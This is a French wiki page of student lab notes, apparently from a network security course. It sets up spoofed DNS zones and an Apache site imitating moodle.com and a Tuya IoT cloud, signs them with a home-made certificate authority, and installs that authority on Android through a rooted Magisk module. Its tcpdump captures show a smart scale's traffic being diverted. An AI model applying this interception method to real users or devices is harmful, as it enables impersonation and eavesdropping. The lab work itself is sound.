&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# tcpdump -i eth1 -n port 53&lt;br /&gt;
[5544865.540418] device eth1 entered promiscuous mode&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:30:55.146437 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.17620: 23156 5/0/0 CNAME reddit.map.fastly.net., A 151.101.129.140, A&lt;br /&gt;
 151.101.1.140, A 151.101.65.140, A 151.101.193.140 (129)&lt;br /&gt;
12:30:55.168796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.24249: 64622 2/0/0 CNAME us-central1-gcp.api.sc-gw.com., A 35.190.43.&lt;br /&gt;
134 (109)&lt;br /&gt;
12:30:55.322498 IP 172.16.10.100.26394 &amp;gt; 172.16.10.1.53: 29420+ A? scontent-cdg4-1.xx.fbcdn.net. (46)&lt;br /&gt;
12:30:56.095075 IP 172.16.10.100.62675 &amp;gt; 172.16.10.1.53: 46396+ A? cf-st.sc-cdn.net. (34)&lt;br /&gt;
12:30:56.121796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.62675: 46396 1/0/0 A 3.163.248.4 (50)&lt;br /&gt;
12:30:56.539099 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.26394: 29420 1/0/0 A 185.60.219.2 (62)&lt;br /&gt;
12:30:57.289763 IP 172.16.10.100.7071 &amp;gt; 172.16.10.1.53: 14247+ A? usc1-gcp-v62.api.snapchat.com. (47)&lt;br /&gt;
12:30:57.302767 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.7071: 14247 2/0/0 CNAME usc1-gcp-v62.api.sc-gw.com., A 34.120.159.232&lt;br /&gt;
 (103)&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:31:00.979103 IP 172.16.10.100.63625 &amp;gt; 172.16.10.1.53: 63574+ A? gql-fed.reddit.com. (36)&lt;br /&gt;
12:31:00.997721 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.63625: 63574 5/0/0 CNAME reddit.map.fastly.net., A 151.101.65.140, A &lt;br /&gt;
151.101.129.140, A 151.101.193.140, A 151.101.1.140 (135)&lt;br /&gt;
12:31:04.461507 IP 172.16.10.102.63971 &amp;gt; 172.16.10.1.53: 20792+ A? discord.com. (29)&lt;br /&gt;
12:31:04.461519 IP 172.16.10.102.54572 &amp;gt; 172.16.10.1.53: 15444+ Type65? discord.com. (29)&lt;br /&gt;
12:31:04.493098 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.63971: 20792 5/0/0 A 162.159.138.232, A 162.159.136.232, A 162.159.12&lt;br /&gt;
8.233, A 162.159.135.232, A 162.159.137.232 (109)&lt;br /&gt;
12:31:04.493306 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.54572: 15444 1/0/5 Type65 (158)&lt;br /&gt;
18 packets captured&lt;br /&gt;
18 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;tcpdump -i eth1 host 172.16.10.105 and not port 53 -A&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:36:41.148741 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4......&amp;lt;\)...........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.161323 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4g.....[.}T..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.167616 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i....P....Y...c....&lt;br /&gt;
12:36:41.490919 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i.r.u....).........&lt;br /&gt;
12:36:41.993612 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i..HE.....f........&lt;br /&gt;
12:36:42.011664 ARP, Request who-has 172.16.10.1 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
.....up. ..........&lt;br /&gt;
12:36:42.011672 ARP, Reply 172.16.10.1 is-at 00:16:3e:23:74:42 (oui Unknown), length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
...|.-L..&lt;br /&gt;
i&lt;br /&gt;
12:36:42.019053 IP 172.16.10.105.3872 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;gt;..&lt;br /&gt;
i..&lt;br /&gt;
.. &amp;quot;....m....`....&amp;lt;........&lt;br /&gt;
12:36:42.019100 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.3872: Flags [R.], seq 0, ack 6510, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.. .......nP.......&lt;br /&gt;
12:36:42.070419 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B......m....`...........&amp;lt;.&lt;br /&gt;
12:36:42.070442 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [S.], seq 3767910189, ack 6510, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..B....-...n`...l.......&lt;br /&gt;
12:36:42.077437 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O?..&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...4......&lt;br /&gt;
..&lt;br /&gt;
12:36:42.079986 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...........&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:42.080012 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l...&lt;br /&gt;
12:36:42.080447 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l.........(&lt;br /&gt;
12:36:42.080533 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B....5....P...l...&lt;br /&gt;
12:36:42.101652 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(.	....O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4s........&lt;br /&gt;
12:36:42.102116 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(.&lt;br /&gt;
....O;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4h.....&lt;br /&gt;
..&lt;br /&gt;
12:36:43.025368 IP 172.16.10.105.23869 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6511, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O6..&lt;br /&gt;
i..&lt;br /&gt;
.]=&amp;quot;....o....`............9&lt;br /&gt;
12:36:43.025387 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.23869: Flags [R.], seq 0, ack 6512, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.]=.......pP.......&lt;br /&gt;
12:36:44.025225 IP 172.16.10.105.22317 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6513, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O5..&lt;br /&gt;
i..&lt;br /&gt;
.W-&amp;quot;....q....`....+........&lt;br /&gt;
12:36:44.025269 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.22317: Flags [R.], seq 0, ack 6514, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.W-.......rP.......&lt;br /&gt;
12:36:45.025301 IP 172.16.10.105.31465 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6517, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O4..&lt;br /&gt;
i..&lt;br /&gt;
.z.&amp;quot;....u....`...ck......E.&lt;br /&gt;
12:36:45.025318 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.31465: Flags [R.], seq 0, ack 6518, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.z........vP....0..&lt;br /&gt;
12:36:46.025500 IP 172.16.10.105.9070 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6521, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O3..&lt;br /&gt;
i..&lt;br /&gt;
.#n&amp;quot;....y....`.............&lt;br /&gt;
12:36:46.025517 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.9070: Flags [R.], seq 0, ack 6522, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.#n.......zP.......&lt;br /&gt;
12:36:47.033189 IP 172.16.10.105.51179 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6527, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O2..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...._......y.&lt;br /&gt;
12:36:47.033206 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.51179: Flags [R.], seq 0, ack 6528, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...?$..&lt;br /&gt;
12:36:47.263020 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.287049 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:48.653641 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4B...................&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.663352 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4.L.......p..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.674677 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i&amp;gt;#tB./..P.........&lt;br /&gt;
12:36:48.993649 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
ir...P.............&lt;br /&gt;
12:36:49.311055 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:49.490922 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i.......x....D.....&lt;br /&gt;
12:36:49.492262 ARP, Reply 172.16.10.105 is-at a4:e5:7c:16:2d:4c (oui Unknown), length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i..&amp;gt;#tB..&lt;br /&gt;
...................&lt;br /&gt;
12:36:49.515651 IP 172.16.10.105.29415 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6536, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O...&lt;br /&gt;
i..&lt;br /&gt;
.r.&amp;quot;.........`...kZ........&lt;br /&gt;
12:36:49.515669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.29415: Flags [R.], seq 0, ack 6537, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.r.........P.......&lt;br /&gt;
12:36:49.518628 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [S], seq 6539, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]..........`.............&lt;br /&gt;
12:36:49.518648 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [S.], seq 1378912894, ack 6540, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
